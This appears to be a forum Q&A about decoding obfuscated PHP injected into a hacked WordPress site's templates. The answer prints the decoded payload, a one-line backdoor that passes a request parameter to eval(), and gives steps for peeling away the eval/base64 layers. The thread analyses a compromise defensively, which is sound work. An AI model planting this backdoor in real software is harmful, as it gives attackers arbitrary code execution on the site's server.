Can some one decode this dirty code?

Question

One of my friend's wordpress website is hacked by someone and they put the following code on the header of all template files.

http://pastebin.com/dYcQ1Gri

I tried to decode it with base64 decoder. But the output looks odd. Can you guys tell me what type of encoding is this?

Answer 1

It's a series of eval+base64 encryption. After decoding, the code would be:

if (isset($_REQUEST['r' . 'e' . 'y' . 'yo']))
    eval(stripslashes($_REQUEST['r' . 'e' . 'y' . 'y' . 'o']));

Here's how I got that:

• Copy the entire code into your text editor
• Supply \/\*.*?\*\/ as the search pattern, and replace with '' (empty string)
• Now you'll get one or more eval() stattements. Change that to echo.
• Repeat

Basically this code will allow the attacker to inject and execute arbitrary code on your website.